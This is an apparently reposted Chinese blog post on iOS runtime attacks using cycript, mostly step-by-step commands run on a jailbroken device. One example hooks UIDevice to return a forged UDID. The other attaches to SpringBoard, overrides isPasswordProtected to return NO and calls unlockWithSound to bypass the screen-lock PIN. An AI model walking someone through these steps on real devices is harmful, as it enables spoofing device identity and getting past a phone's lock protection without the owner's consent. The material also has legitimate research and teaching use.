iOS runtime攻击-cycript

来源:互联网 发布:淘宝桔子表行靠谱不 编辑:程序博客网 时间:2024/05/29 11:30
iOS runtime攻击,目前流行的有两种方式,一种是动态链接库注入,通过编写定制的dylib文件与设置DYLD_INSERT_LIBRARIES环境变量来修改API方法的实现(可参照Mac hook-DYLD_INSERT_LIBRARIES中的例子);还有一种方法就是利用objective-c runtime的消息机制的特性,特别是objc_msgSend,来操作应用,其中以cycript这种混合了objective-c与javascript语法的工具为翘楚。接下来介绍一下使用cycript操纵iOS应用运行时的例子。

例子1:伪造UDID(UIDevice类说明)

第一步:选择待操作的进程

danimato-iPod:~ root# cycript -p 8442(可以是进程id,也可以是进程名)


第二步:获得当前设备的UDID

cy# [[UIDevice currentDevice] uniqueIdentifier];@"a94b65f9ac84c9d5bb7f377d5122a622ea1addf6"


第三步:替换uniqueIdentifier实现方法的实现

cy# UIDevice.messages['uniqueIdentifier'] = function(){ return @"tanjiti";}function () {return Instance.box("tanjiti");}


第四步:检查替换后的UDID获取结果

cy# [[UIDevice currentDevice] uniqueIdentifier];@"tanjiti"


例子2: 解锁屏幕锁定PIN(SpringBoard/SBAwayController.h说明)

第一步:选择待操作的进程

danimato-iPod:~ root# cycript -p SpringBoard

第二步:检查设备是否开启了密码锁定功能(1表示锁定,0表示解锁)

cy# [SBAwayController.sharedAwayController isPasswordProtected]1

第三步:替换isPasswordProtected实现方法

cy# SBAwayController.messages['isPasswordProtected']=function(){return NO;}
function () {return NO;}

第四步:检查替换后设备的锁定状态(1表示锁定,0表示解锁)

cy# [SBAwayController.sharedAwayController isPasswordProtected]0

第五步:最后调用unlockWithSound方法来访问home屏幕

cy# [SBAwayController.sharedAwayController unlockWithSound:1]

通过以上操作,成功解锁屏幕锁定

接下来会写一下runtime attack中的核心组件MobileSubstrate,与非常流行的Theos越狱开发框架。

参考:
http://iphonedevwiki.net/index.php/Cycript
http://iphonedevwiki.net/index.php/Cycript_Tricks
0 0